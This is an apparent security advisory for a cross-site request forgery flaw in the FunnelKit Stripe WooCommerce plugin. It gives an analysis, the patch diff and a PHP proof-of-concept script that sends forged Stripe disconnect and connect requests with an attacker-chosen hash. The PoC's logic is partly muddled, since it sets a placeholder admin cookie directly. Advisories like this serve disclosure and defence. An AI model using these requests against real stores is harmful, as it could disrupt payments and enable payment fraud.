Published : July 6, 2026

CVE-2026-57635: FunnelKit Payment Gateway for Stripe WooCommerce <= 1.14.0.3 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.14.0.3
Patched Version 1.14.0.4
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57635:

This vulnerability is a Cross-Site Request Forgery (CSRF) issue in the FunnelKit Payment Gateway for Stripe WooCommerce plugin, affecting versions up to and including 1.14.0.3. The plugin fails to validate nonces or state tokens on several OAuth callback functions, allowing an attacker to forge requests that can modify the plugin’s Stripe connection settings. The CVSS score is 4.3 (Medium).

The root cause is missing CSRF protection on two key functions in the admin.php file: fkwcs_stripe_disconnect (line 1253) and fkwcs_stripe_connect (line 1274). Additionally, a Stripe Connect state parameter validation was entirely absent. The patch introduces a verify_connect_state() method and nonce validation for the sync_stripe_tax action. The vulnerable code lacked any token verification when handling the Stripe OAuth callback, allowing an attacker to trigger disconnect or connect actions without the victim’s consent.

An attacker can exploit this by crafting a malicious link or form that, when clicked by an authenticated administrator, sends a GET request to /wp-admin/admin.php?page=wc-settings&tab=fkwcs_api_settings&fkwcs_stripe_connect=1 or fkwcs_stripe_disconnect=1. The attacker can also manipulate the wp_hash parameter in the callback to inject arbitrary values into the database via the update_option call on line 1326. The attack requires social engineering to trick the admin into clicking the link.

The patch adds a state token mechanism using WordPress transients. The get_connect_url() method now generates a random 32-character token stored in a transient keyed by user ID. This token is appended to the redirect URL as fkwcs_state. The new verify_connect_state() method checks that the incoming fkwcs_state parameter matches the stored transient token and then deletes it. Both the disconnect and connect handlers now call verify_connect_state() before processing. The patch also sanitizes the wp_hash parameter using sanitize_text_field() and adds a nonce check for the fkwcs_sync_stripe_tax action.

Successful exploitation allows an attacker to disconnect the Stripe payment gateway, disrupting payment processing on the WooCommerce store. More critically, the attacker can manipulate the fkwcs_wp_hash option, which could enable further attacks by forging a malicious OAuth callback that connects the site to an attacker-controlled Stripe account. This could lead to interception of payment data and financial fraud, as customer payments would be routed through the attacker’s Stripe account.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/funnelkit-stripe-woo-payment-gateway/admin/admin.php
+++ b/funnelkit-stripe-woo-payment-gateway/admin/admin.php
@@ -613,9 +613,15 @@
 	 * @return string
 	 */
 	public function get_connect_url() {
+		$transient_key = 'fkwcs_connect_state_' . get_current_user_id();
+		$state_token   = get_transient( $transient_key );
+		if ( empty( $state_token ) ) {
+			$state_token = wp_generate_password( 32, false );
+			set_transient( $transient_key, $state_token, 30 * MINUTE_IN_SECONDS );
+		}

 		$custom_args = [
-			'redirect' => admin_url( 'admin.php?page=wc-settings&tab=fkwcs_api_settings' ),
+			'redirect' => admin_url( 'admin.php?page=wc-settings&tab=fkwcs_api_settings&fkwcs_state=' . $state_token ),
 		];

 		$get_unique_id = get_option( 'fkwcs_wp_stripe', '' );
@@ -1253,6 +1259,9 @@
 			if ( false === current_user_can( 'manage_woocommerce' ) ) {
 				return;
 			}
+			if ( ! $this->verify_connect_state() ) {
+				return;
+			}
 			$redirect_url = apply_filters( 'fkwcs_stripe_connect_redirect_url', admin_url( '/admin.php?page=wc-settings&tab=fkwcs_api_settings' ) );

 			$this->settings['fkwcs_con_status'] = 'failed';
@@ -1265,6 +1274,9 @@
 			if ( false === current_user_can( 'manage_woocommerce' ) ) {
 				return;
 			}
+			if ( ! $this->verify_connect_state() ) {
+				return;
+			}
 			$response = $_GET; //phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$redirect_url = apply_filters( 'fkwcs_stripe_connect_redirect_url', admin_url( '/admin.php?page=wc-settings&tab=fkwcs_api_settings' ) );

@@ -1314,7 +1326,7 @@
 			$this->update_options( $this->settings );

 			if ( ! empty( $response['wp_hash'] ) ) {
-				update_option( 'fkwcs_wp_hash', $response['wp_hash'], 'no' );
+				update_option( 'fkwcs_wp_hash', sanitize_text_field( wp_unslash( $response['wp_hash'] ) ), 'no' );
 			}
 			do_action( 'fkwcs_after_connect_with_stripe', $this->settings['fkwcs_con_status'] );
 			wp_safe_redirect( $redirect_url );
@@ -1325,6 +1337,26 @@
 	}

 	/**
+	 * Verify the CSRF state token from the Stripe Connect OAuth callback.
+	 *
+	 * @return bool
+	 */
+	private function verify_connect_state() {
+		$state_token = isset( $_GET['fkwcs_state'] ) ? sanitize_text_field( wp_unslash( $_GET['fkwcs_state'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( empty( $state_token ) ) {
+			return false;
+		}
+		$transient_key = 'fkwcs_connect_state_' . get_current_user_id();
+		$stored_token  = get_transient( $transient_key );
+		if ( empty( $stored_token ) || ! hash_equals( $stored_token, $state_token ) ) {
+			return false;
+		}
+		delete_transient( $transient_key );
+
+		return true;
+	}
+
+	/**
 	 * Check if stripe is connected
 	 *
 	 * @return bool
@@ -2693,7 +2725,7 @@


 		// Check if the user is an administrator, on the correct page, and the fkwcs_sync_stripe_tax parameter exists
-		if ( is_admin() && current_user_can( 'manage_options' ) && isset( $_GET['page'], $_GET['tab'], $_GET['fkwcs_sync_stripe_tax'] ) && sanitize_text_field( $_GET['page'] ) === 'wc-settings' && sanitize_text_field( $_GET['tab'] ) === 'fkwcs_api_settings' && $_GET['fkwcs_sync_stripe_tax'] === 'true' ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( is_admin() && current_user_can( 'manage_options' ) && isset( $_GET['page'], $_GET['tab'], $_GET['fkwcs_sync_stripe_tax'], $_GET['_wpnonce'] ) && sanitize_text_field( wp_unslash( $_GET['page'] ) ) === 'wc-settings' && sanitize_text_field( wp_unslash( $_GET['tab'] ) ) === 'fkwcs_api_settings' && sanitize_text_field( wp_unslash( $_GET['fkwcs_sync_stripe_tax'] ) ) === 'true' && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'fkwcs_sync_stripe_tax' ) ) {

 			$option_key = 'fkwcs_secret_key';
 			$secret_key = get_option( $option_key );
--- a/funnelkit-stripe-woo-payment-gateway/admin/app/dist/bwfsg-app.asset.php
+++ b/funnelkit-stripe-woo-payment-gateway/admin/app/dist/bwfsg-app.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-url'), 'version' => '7fec352e10f527c7c60eaa9a732f69c6');
 No newline at end of file
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-url'), 'version' => '0596afc87bf5d59d92c9152c4f8ca0ba');
 No newline at end of file
--- a/funnelkit-stripe-woo-payment-gateway/funnelkit-stripe-woo-payment-gateway.php
+++ b/funnelkit-stripe-woo-payment-gateway/funnelkit-stripe-woo-payment-gateway.php
@@ -3,13 +3,13 @@
  * Plugin Name: FunnelKit Payment Gateway for Stripe WooCommerce
  * Plugin URI: https://www.funnelkit.com/
  * Description: Effortlessly accepts payments via Stripe on your WooCommerce Store.
- * Version: 1.14.0.3
+ * Version: 1.14.0.4
  * Author: FunnelKit
  * Author URI: https://funnelkit.com/
  * License: GPLv2 or later
  * Text Domain: funnelkit-stripe-woo-payment-gateway
  * WC requires at least: 3.0
- * WC tested up to: 10.6.0
+ * WC tested up to: 10.8.0
  *
  * Requires at least: 5.4.0
  * Tested up to: 6.9.3
@@ -62,7 +62,7 @@
 					define( 'FKWCS_DIR', __DIR__ );
 					define( 'FKWCS_NAME', 'Stripe Payment Gateway for WooCommerce' );
 					define( 'FKWCS_TEXTDOMAIN', 'funnelkit-stripe-woo-payment-gateway' );
-					( defined( 'FKWCS_IS_DEV' ) && true === FKWCS_IS_DEV ) ? define( 'FKWCS_VERSION', time() ) : define( 'FKWCS_VERSION', '1.14.0.3' );
+					( defined( 'FKWCS_IS_DEV' ) && true === FKWCS_IS_DEV ) ? define( 'FKWCS_VERSION', time() ) : define( 'FKWCS_VERSION', '1.14.0.4' );
 					add_action( 'plugins_loaded', array( $this, 'load_wp_dependent_properties' ), 1 );
 				}
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57635 - FunnelKit Payment Gateway for Stripe WooCommerce CSRF

$target_url = 'https://example.com'; // Change this to the target WordPress site

// Step 1: Craft a forged request to disconnect the Stripe gateway
$disconnect_url = $target_url . '/wp-admin/admin.php?page=wc-settings&tab=fkwcs_api_settings&fkwcs_stripe_disconnect=1';

echo "[+] Forging CSRF request to disconnect Stripe...n";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $disconnect_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_SESSIONID=RANDOM_ADMIN_COOKIE'); // Attacker would need to trick admin's browser

// For demonstration, we simulate the admin's user agent
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: " . $http_code . "n";
if ($http_code == 302 || $http_code == 200) {
    echo "[+] CSRF likely succeeded. The Stripe gateway may be disconnected.n";
} else {
    echo "[!] Request failed. Check if the target is vulnerable.n";
}

// Step 2: Forge a request to initiate a Stripe connect callback with a malicious wp_hash
$malicious_hash = 'attacker_controlled_hash_value_12345';
$connect_url = $target_url . '/wp-admin/admin.php?page=wc-settings&tab=fkwcs_api_settings&fkwcs_stripe_connect=1&wp_hash=' . urlencode($malicious_hash);

echo "n[+] Forging CSRF request to update wp_hash option...n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $connect_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_SESSIONID=RANDOM_ADMIN_COOKIE');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: " . $http_code . "n";
echo "[+] Attempted to update fkwcs_wp_hash option with: " . $malicious_hash . "n";

// Step 3: Check if the sync_stripe_tax action was also exploitable
// This would be done via a similar forged request with the fkwcs_sync_stripe_tax parameter
$sync_url = $target_url . '/wp-admin/admin.php?page=wc-settings&tab=fkwcs_api_settings&fkwcs_sync_stripe_tax=true';
echo "n[+] Note: The sync_stripe_tax action also lacked nonce validation in vulnerable versions.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.